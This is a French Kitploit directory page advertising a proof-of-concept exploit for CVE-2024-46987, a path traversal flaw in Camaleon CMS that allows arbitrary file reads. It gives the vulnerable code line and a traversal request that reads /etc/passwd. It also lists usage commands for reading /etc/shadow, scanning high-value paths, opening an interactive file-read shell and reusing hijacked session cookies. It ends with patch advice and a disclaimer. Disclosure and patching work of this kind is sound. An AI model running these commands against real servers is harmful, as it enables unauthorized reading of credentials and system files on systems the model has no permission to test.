Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-46987 — Exploit PoC pour CVE-2024-46987 — traversée de chemin arbitraire (lecture de fichier) dans Camaleon CMS | Kitploit
Outils/GitHubGitHub/blueberryp1ll/cve-2024-46987
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

Exploit PoC pour CVE-2024-46987 — traversée de chemin arbitraire (lecture de fichier) dans Camaleon CMS

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-46987 — Camaleon CMS traversée de chemin arbitraire

Réservé aux évaluations de sécurité autorisées, aux tests d'intrusion et à la recherche éducative uniquement.

Vue d'ensemble

ChampDétail
CVECVE-2024-46987
ProduitCamaleon CMS
Versions>= 2.8.0, < 2.8.2 (également confirmé sur la version 2.9.0)
TypeTraversée de chemin / Lecture arbitraire de fichier (CWE-22)
AuthRequis (tout compte à faibles privilèges)
CVSS7.7 Élevé — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Corrigé dans2.8.2

Vulnérabilité

MediaController#download_private_file transmet params[:file] non nettoyé à fetch_file :

root@kitploit:~
# Puits vulnérable
fetch_file("private/#{params[:file]}")

Aucune normalisation de chemin n'est appliquée avant que la valeur ne soit utilisée avec send_file, ce qui permet à un attaquant authentifié de sortir du répertoire private/ à l'aide de séquences ../ et de lire des fichiers arbitraires auxquels le processus Rails a accès.

Point de terminaison vulnérable :

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

Prérequis

  • Python 3.8+
  • Bibliothèque requests
root@kitploit:~
pip3 install requests

Utilisation

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

Authentification par identifiants

root@kitploit:~
# Lire /etc/passwd (par défaut)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Lire un fichier spécifique
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scanner automatiquement une liste de chemins à haute valeur
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Shell interactif de lecture de fichier
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

Réutiliser une session existante (depuis Burp Suite / DevTools du navigateur)

root@kitploit:~
# Fichier unique
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Shell interactif
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

Options

OptionDescription
-uURL de base de la cible
-U / -PNom d'utilisateur et mot de passe du CMS
--cookieChaîne de cookie brute (alternative aux identifiants)
-fChemin du fichier à lire (par défaut : /etc/passwd)
-dProfondeur de traversée — nombre de ../ ajoutés au début (par défaut : 10)
--interestingParcourt la liste intégrée de chemins à haute valeur
--interactiveShell interactif de lecture de fichier
--no-verifyDésactiver la vérification du certificat TLS
--debugSortie verbeuse pour diagnostiquer les échecs d'authentification

Remarques sur les pseudo-fichiers /proc

Les fichiers sous /proc/self/ (par exemple environ, cmdline) renvoient un code HTTP 200 mais un corps vide. Ceci est attendu — le noyau signale leur taille comme 0, donc send_file de Rails ne transmet rien. Utilisez plutôt des fichiers plats ordinaires.

Correction

Mettez à jour Camaleon CMS vers la version 2.8.2 ou une version ultérieure. Le correctif ajoute une normalisation de chemin appropriée et garantit que le chemin résolu reste dans le répertoire prévu avant d'appeler send_file.

Alternativement :

  • Normalisez tous les chemins de fichiers fournis par l'utilisateur avant utilisation.
  • Rejetez toute entrée contenant des séquences ...
  • Appliquez le principe du moindre privilège à l'utilisateur du système d'exploitation exécutant le processus Rails.

Références

  • GHSA-cp65-5m9r-vc2c — Avis GitHub
  • GHSL-2024-183 — Laboratoire de sécurité GitHub
  • NVD — CVE-2024-46987

Avertissement

Cette preuve de concept est publiée à des fins éducatives et pour aider les professionnels de la sécurité à comprendre et reproduire la vulnérabilité dans des environnements de test autorisés. L'auteur n'est pas responsable d'une quelconque mauvaise utilisation. Obtenez toujours une autorisation écrite explicite avant de tester des systèmes qui ne vous appartiennent pas.

Télécharger l’outil